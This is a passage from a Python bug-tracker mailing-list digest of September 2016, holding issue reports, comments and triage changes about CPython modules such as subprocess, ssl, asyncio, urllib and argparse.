Tix is now deprecated, extra tests are unnecessary.

----------
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21337>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:41:09 2016
From: report at bugs.python.org (Ned Deily)
Date: Thu, 15 Sep 2016 03:41:09 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473910869.66.0.336243820112.issue28055@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
priority: normal -> high
stage: needs patch -> patch review
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Wed Sep 14 23:51:03 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 15 Sep 2016 03:51:03 +0000
Subject: [issue28164] _PyIO_get_console_type fails for various paths
Message-ID: <1473911463.84.0.00788793507165.issue28164@psf.upfronthosting.co.za>


New submission from Eryk Sun:

_PyIO_get_console_type currently hard codes the names "CON", "CONIN$", and "CONOUT$" and doesn't use a case-insensitive comparison. For example, opening "conin$" doesn't get directed to WindowsConsoleIO:

    >>> open('conin$', 'rb', buffering=0)
    <_io.FileIO name='conin$' mode='rb' closefd=True>

unlike CONIN$:

    >>> open('CONIN$', 'rb', buffering=0)
   <_io._WindowsConsoleIO mode='rb' closefd=True>

This also ignores the special handling of DOS devices in existing directories. The normal DOS-device check (i.e. if the parent directory exists, call GetFullPathName to normalize the path) isn't reliable, unfortunately. Prior to Windows 8, CreateFile special-cases parsing console paths by calling BaseIsThisAConsoleName, which has an annoying speed hack that makes it buggy. Ultimately the only way to know if a path opens the console is to open it and check the handle.

----------
components: IO, Library (Lib), Windows
messages: 276512
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: _PyIO_get_console_type fails for various paths
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28164>
_______________________________________

From report at bugs.python.org  Thu Sep 15 00:16:03 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 15 Sep 2016 04:16:03 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1473912963.97.0.89010301599.issue26081@psf.upfronthosting.co.za>


INADA Naoki added the comment:

This is the patch.
And git branch is here https://github.com/methane/cpython/pull/5

----------
Added file: http://bugs.python.org/file44670/fastfuture.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Thu Sep 15 00:24:42 2016
From: report at bugs.python.org (Ned Deily)
Date: Thu, 15 Sep 2016 04:24:42 +0000
Subject: [issue28099] Drop Mac OS X Tiger support in Python 3.6
In-Reply-To: <1473677501.77.0.96699360086.issue28099@psf.upfronthosting.co.za>
Message-ID: <1473913482.76.0.439506387618.issue28099@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
assignee:  -> ned.deily

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28099>
_______________________________________

From report at bugs.python.org  Thu Sep 15 00:31:15 2016
From: report at bugs.python.org (Xavion)
Date: Thu, 15 Sep 2016 04:31:15 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
Message-ID: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>


New submission from Xavion:

Each time I run a shell command via the 'subprocess' module, I notice that the memory footprint of my program increases by roughly 4 KiB.

I've tested the problem with two different slices of code; the result is the same in either case (long after the function finishes).

Code slice 1:
    check_output("true")

Code slice 2:
    pTest = Popen("true", stdout=PIPE, stderr=PIPE)
    pTest.wait()
    pTest.stdout.close()
    pTest.stderr.close()
    del pTest
    gc.collect()

I'm using Python v3.5.2-1 on Arch Linux; it was installed via the [extra] repository.  Let me know if you need any further information.

----------
components: Library (Lib)
messages: 276514
nosy: Xavion
priority: normal
severity: normal
status: open
title: The 'subprocess' module leaks roughly 4 KiB of memory per call
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 01:11:55 2016
From: report at bugs.python.org (Antti Haapala)
Date: Thu, 15 Sep 2016 05:11:55 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1473916315.56.0.415370444143.issue28165@psf.upfronthosting.co.za>


Antti Haapala added the comment:

3.5.1+ ubuntu; I run the Popen case in while True, and watch `top` - not a single digit changes in the memory usage (the last digit being the kilobytes). That the memory footprint increases *once* by 4KiB is nothing; please run this in a loop.

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 01:34:21 2016
From: report at bugs.python.org (Ned Deily)
Date: Thu, 15 Sep 2016 05:34:21 +0000
Subject: [issue28150] Error CERTIFICATE_VERIFY_FAILED in macOS
In-Reply-To: <1473856770.26.0.3471987491.issue28150@psf.upfronthosting.co.za>
Message-ID: <1473917661.46.0.705112842759.issue28150@psf.upfronthosting.co.za>


Ned Deily added the comment:

Sorry, the information about this feature is currently only documented in the OS X installer ReadMe.  As you noted, it's displayed to the user during installation when using the OS X installer app.  A copy of the ReadMe is also installed for later reference in the directory /Applications/Python 3.6/.

Here's what it says about this feature:

========
Certificate verification and OpenSSL
------------------------------------

**NEW** This variant of Python 3.6 now includes its own private copy of OpenSSL 1.0.2.  Unlike previous releases, the deprecated Apple-supplied OpenSSL libraries are no longer used.  This also means that the trust certificates in system and user keychains managed by the Keychain Access application and the security command line utility are no longer used as defaults by the Python ssl module.  For 3.6.0b1, a sample command script is included in /Applications/Python 3.6 to install a curated bundle of default root certificates from the third-party certifi package (https://pypi.python.org/pypi/certifi).  If you choose to use certifi, you should consider subscribing to the project's email update service to be notified when the certificate bundle is updated.

The bundled pip included with the Python 3.6 installer has its own default certificate store for verifying download connections.
========

So the feature does *not* require 'certifi' to be installed.  As currently implemented, the supplied private copy of the OpenSSL libs is configured with its own private openssl directory for root certificates, as root certificates in macOS / OS X are stored in system and user keychains, not in an OpenSSL-compatible file or directory.  The path to the Python-installed directory is accessible via the attributes of ssl.get_default_verify_paths().  As installed, the Python-installed directory is empty.  So, to supply default root certificates, you need to either copy a certificate bundle or directory to the directory or provide a symlink to a certificate bundle or directory installed elsewhere.  In 360b1 as noted in the ReadMe, there is a simple double-clickable or command-line-runnable script ("/Applications/Python 3.6/Install Certificates.command") that does two things: 1. uses pip to install certifi and 2. creates a symlink in the OpenSSL directory to certifi's installed bundle location. Without the second step, installing certifi manually won't work, as you discovered.  Running the script as described in the ReadMe will solve your problem.  Of course, anyone can supply their own certificates as with any version of OpenSSL.

Granted, the 360b1 ReadMe could be more detailed.  For 360b2, I intend to expand the script to cover some other options and expand the documentation as part of Issue17128.  What's in 360b1 is not all that pretty but it seemed to me to be the least bad of the various practical options, including continuing to use the old, deprecated system OpenSSL libraries.

----------
priority: critical -> normal
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
type: security -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28150>
_______________________________________

From report at bugs.python.org  Thu Sep 15 01:54:28 2016
From: report at bugs.python.org (Xavion)
Date: Thu, 15 Sep 2016 05:54:28 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1473918868.83.0.518250118396.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

I wouldn't have reported this if it was only happening *once*.  I already have it in a loop; a new shell command is fired every second.

The memory footprint increases by roughly 4 KiB *each* time.  I monitor it via the following Bash script:
    while true; do
        ps -C "python3 ./Program.pyw" -o pid=,%mem=,rss= >> ./Output.log
        sleep 1
    done &

I have attached the logfile for your convenience.  Let me know if you'd like me to run any other tests.

----------
Added file: http://bugs.python.org/file44671/Output.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 02:02:04 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Thu, 15 Sep 2016 06:02:04 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1473919324.73.0.353370830343.issue27973@psf.upfronthosting.co.za>


Sohaib Ahmad added the comment:

Thank you for pointing me towards hg bisect. I got some time to look into it and was able to find the commit that broke this functionality.

A fix from Python 3 was backported in issue "urllib hangs when closing connection" which removed a call to ftp.voidresp(). Without this call the second download using urlretrieve() now fails in 2.7.12.

Issue ID:
http://bugs.python.org/issue26960

Commit ID:
https://hg.python.org/cpython/rev/44d02a5d59fb

voidresp() itself calls getresp(). So issue26960 could be because control never returns from getresp().

In my opinion this commit (101286) should be reverted and getresp() should be updated with some sort of timeout to fix issue26960.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Thu Sep 15 02:03:56 2016
From: report at bugs.python.org (Antti Haapala)
Date: Thu, 15 Sep 2016 06:03:56 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1473919436.28.0.570148348464.issue28158@psf.upfronthosting.co.za>


Antti Haapala added the comment:

I just noticed that you're actually testing a builtin instead of something in just module globals. How is the performance with module globals?

----------
nosy: +ztane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Thu Sep 15 02:20:35 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 15 Sep 2016 06:20:35 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1473920435.63.0.230494988198.issue27973@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +orsenthil

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Thu Sep 15 02:25:20 2016
From: report at bugs.python.org (Tim Smith)
Date: Thu, 15 Sep 2016 06:25:20 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1473920720.44.0.205389457285.issue27806@psf.upfronthosting.co.za>


Changes by Tim Smith <pythonbugs at tim-smith.us>:


----------
nosy: +tdsmith

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Thu Sep 15 02:39:13 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 15 Sep 2016 06:39:13 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1473921553.59.0.752479990507.issue28158@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Does this prolongate the lifetime of cached global objects?

----------
nosy: +serhiy.storchaka
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Thu Sep 15 02:40:40 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 06:40:40 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1473921639.99.0.519015714602.issue28158@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> Does this prolongate the lifetime of cached global objects?

No.  I store borrowed references.  The idea is that if the state of globals/builtins dict has changed, we invalidate the cache.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Thu Sep 15 02:43:41 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 06:43:41 +0000
Subject: [issue28158] Implement LOAD_GLOBAL opcode cache
In-Reply-To: <1473886080.87.0.000411119678127.issue28158@psf.upfronthosting.co.za>
Message-ID: <1473921821.41.0.25013292765.issue28158@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Serhiy, feel free to review the patch.  Guido and Ned okayed it to be committed before 3.6b2.

Currently the patch only optimizes one opcode -- LOAD_GLOBAL, but cveal_cache.h file provides the infrastructure to easily implement more opcode caches.  I can simplify that file (remove all macros) if it's too hard to review it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28158>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:25:56 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:25:56 +0000
Subject: [issue18233] SSLSocket.getpeercertchain()
In-Reply-To: <1371415195.44.0.636993698614.issue18233@psf.upfronthosting.co.za>
Message-ID: <1473924356.9.0.610171777443.issue18233@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18233>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:29:58 2016
From: report at bugs.python.org (Xavion)
Date: Thu, 15 Sep 2016 07:29:58 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1473924598.16.0.773837224804.issue28165@psf.upfronthosting.co.za>


Changes by Xavion <Xavion.0 at Gmail.com>:


Removed file: http://bugs.python.org/file44671/Output.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:33:41 2016
From: report at bugs.python.org (Xavion)
Date: Thu, 15 Sep 2016 07:33:41 +0000
Subject: [issue28165] The 'subprocess' module leaks roughly 4 KiB of memory
 per call
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1473924821.57.0.0740913880483.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

It's easier to reproduce the issue if you use a timer (rather than a loop).  The newly attached logfile was generated with the following code fragment.

    def fTest() :
        check_output("true")
        threading.Timer(1, fTest, ()).start()

----------
Added file: http://bugs.python.org/file44672/Output.log

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:48:09 2016
From: report at bugs.python.org (Clint Olsen)
Date: Thu, 15 Sep 2016 07:48:09 +0000
Subject: [issue9334] argparse does not accept options taking arguments
 beginning with dash (regression from optparse)
In-Reply-To: <1279836939.11.0.811316280273.issue9334@psf.upfronthosting.co.za>
Message-ID: <1473925689.65.0.255114020121.issue9334@psf.upfronthosting.co.za>


Clint Olsen added the comment:

Thanks for the suggestion!

It seems to be extremely limited, unfortunately. I don't want option processing to cease once I hit this switch.

p=argparse.ArgumentParser()
p.add_argument('--subscipt_args', nargs='...')
#p.add_argument('pos',nargs='*')
p.add_argument('--verbose', action='store_true')

args = p.parse_args('--subscipt_args --foo --bar --baz -- --verbose '.split())

print(args)

usage: test.py [-h] [--subscipt_args ...] [--verbose]
test.py: error: unrecognized arguments: -- --verbose

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9334>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:48:34 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:48:34 +0000
Subject: [issue18233] SSLSocket.getpeercertchain()
In-Reply-To: <1371415195.44.0.636993698614.issue18233@psf.upfronthosting.co.za>
Message-ID: <1473925714.08.0.57171746056.issue18233@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18233>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:48:41 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:48:41 +0000
Subject: [issue28124] Rework SSL module documentation
In-Reply-To: <1473762840.76.0.666078412099.issue28124@psf.upfronthosting.co.za>
Message-ID: <1473925721.61.0.456902245832.issue28124@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28124>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:48:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:48:48 +0000
Subject: [issue17128] OS X system openssl deprecated - installer should build
 local libssl
In-Reply-To: <1360002680.77.0.851671416179.issue17128@psf.upfronthosting.co.za>
Message-ID: <1473925728.06.0.823561716235.issue17128@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17128>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:48:54 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:48:54 +0000
Subject: [issue28085] SSL: Add client and server protocols for SSLContext
In-Reply-To: <1473630879.3.0.622304028726.issue28085@psf.upfronthosting.co.za>
Message-ID: <1473925734.25.0.667136849426.issue28085@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28085>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:48:59 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:48:59 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473925739.92.0.133280515727.issue28022@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:05 +0000
Subject: [issue19500] Add client-side SSL session resumption
In-Reply-To: <1383624130.64.0.185541289049.issue19500@psf.upfronthosting.co.za>
Message-ID: <1473925745.83.0.467903921452.issue19500@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19500>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:10 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:10 +0000
Subject: [issue27629] Cannot create ssl.SSLSocket without existing socket
In-Reply-To: <1469575305.76.0.392837082138.issue27629@psf.upfronthosting.co.za>
Message-ID: <1473925750.69.0.269985499096.issue27629@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27629>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:17 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:17 +0000
Subject: [issue25852] smtplib's SMTP.connect() should store the server name in
 ._host for .starttls()
In-Reply-To: <1449961162.47.0.978986314472.issue25852@psf.upfronthosting.co.za>
Message-ID: <1473925757.21.0.921684186692.issue25852@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25852>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:25 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:25 +0000
Subject: [issue16487] Allow ssl certificates to be specified from memory
 rather than files.
In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za>
Message-ID: <1473925765.72.0.475163869583.issue16487@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16487>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:32 +0000
Subject: [issue21541] Provide configure option --with-ssl for compilation with
 custom openssl
In-Reply-To: <1400593614.19.0.224440922912.issue21541@psf.upfronthosting.co.za>
Message-ID: <1473925772.02.0.881752951803.issue21541@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21541>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:36 +0000
Subject: [issue20762] SSLSocket.read() not documented
In-Reply-To: <1393262503.02.0.956219773808.issue20762@psf.upfronthosting.co.za>
Message-ID: <1473925776.94.0.443114777457.issue20762@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20762>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:41 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:41 +0000
Subject: [issue12378] smtplib.SMTP_SSL leaks socket connections on SSL error
In-Reply-To: <1308599064.12.0.317669798103.issue12378@psf.upfronthosting.co.za>
Message-ID: <1473925781.89.0.238664471741.issue12378@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12378>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:47 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:47 +0000
Subject: [issue26471] load_verify_locations(cadata) should load AUX ASN.1 to
 supported trusted certs
In-Reply-To: <1456921480.82.0.773236455463.issue26471@psf.upfronthosting.co.za>
Message-ID: <1473925787.73.0.15150641304.issue26471@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26471>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:53 +0000
Subject: [issue23239] SSL match_hostname does not accept IP Address
In-Reply-To: <1421226292.77.0.451398063166.issue23239@psf.upfronthosting.co.za>
Message-ID: <1473925793.08.0.378937641327.issue23239@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23239>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:49:59 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:49:59 +0000
Subject: [issue25404] ssl.SSLcontext.load_dh_params() does not handle unicode
 filenames properly
In-Reply-To: <1444826187.38.0.734586543163.issue25404@psf.upfronthosting.co.za>
Message-ID: <1473925799.44.0.0386870472986.issue25404@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25404>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:50:05 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:50:05 +0000
Subject: [issue12197] non-blocking SSL write fails if a partial write was
 issued
In-Reply-To: <1306519609.32.0.152577977388.issue12197@psf.upfronthosting.co.za>
Message-ID: <1473925805.39.0.294698711865.issue12197@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12197>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:52:56 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:52:56 +0000
Subject: [issue20994] Disable TLS Compression
In-Reply-To: <1395323616.33.0.927638655451.issue20994@psf.upfronthosting.co.za>
Message-ID: <1473925976.04.0.190118724845.issue20994@psf.upfronthosting.co.za>


Christian Heimes added the comment:

For 3.6 and 3.7, _ssl__SSLContext_impl() now sets NO_COMPRESSION.

----------
assignee:  -> christian.heimes
components: +SSL
versions:  -Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20994>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:02 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:53:02 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1473925982.81.0.280281433207.issue27850@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:09 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:53:09 +0000
Subject: [issue18369] X509 cert class for ssl module
In-Reply-To: <1373055037.38.0.259814019718.issue18369@psf.upfronthosting.co.za>
Message-ID: <1473925989.71.0.279248852169.issue18369@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18369>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:13 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 07:53:13 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za>
Message-ID: <1473925993.85.0.720181175429.issue27906@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> On the asyncio side, with debug turned on, we see nothing.

Hum, I'm concerned by this issue. I would expect that in debug log, a log would be emitted. Maybe something like "accept queue saturated! we may probably loose incoming connections".

Does someone see a way to log a message in such case? Maybe only in debug mode?

I spent time to make sure that asyncio logs events related to network to try to understand what is happening. It's hard to decide which events should be logged, because logging everything is likely to flood logs.

For example, _SelectorSocketTransport._read_ready() logs an event for

* "EOF" (when recv() returns an empty string).
* transport pauses reading
* transport resumes reading

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:53:21 +0000
Subject: [issue15464] ssl: add set_msg_callback function
In-Reply-To: <1343352856.85.0.212414509347.issue15464@psf.upfronthosting.co.za>
Message-ID: <1473926001.18.0.842448942999.issue15464@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15464>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:36 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:53:36 +0000
Subject: [issue25674] test_ssl (test_algorithms) failures on bolen-ubuntu
 slaves: sha256.tbs-internet.com unknown host
In-Reply-To: <1447970078.37.0.506919207401.issue25674@psf.upfronthosting.co.za>
Message-ID: <1473926016.5.0.818523944218.issue25674@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25674>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:44 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:53:44 +0000
Subject: [issue19084] No way to use TLS-PSK from python ssl
In-Reply-To: <1380036748.95.0.439028811791.issue19084@psf.upfronthosting.co.za>
Message-ID: <1473926024.28.0.724115238551.issue19084@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
assignee:  -> christian.heimes
components: +SSL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19084>
_______________________________________

From report at bugs.python.org  Thu Sep 15 03:53:50 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 15 Sep 2016 07:53:50 +0000
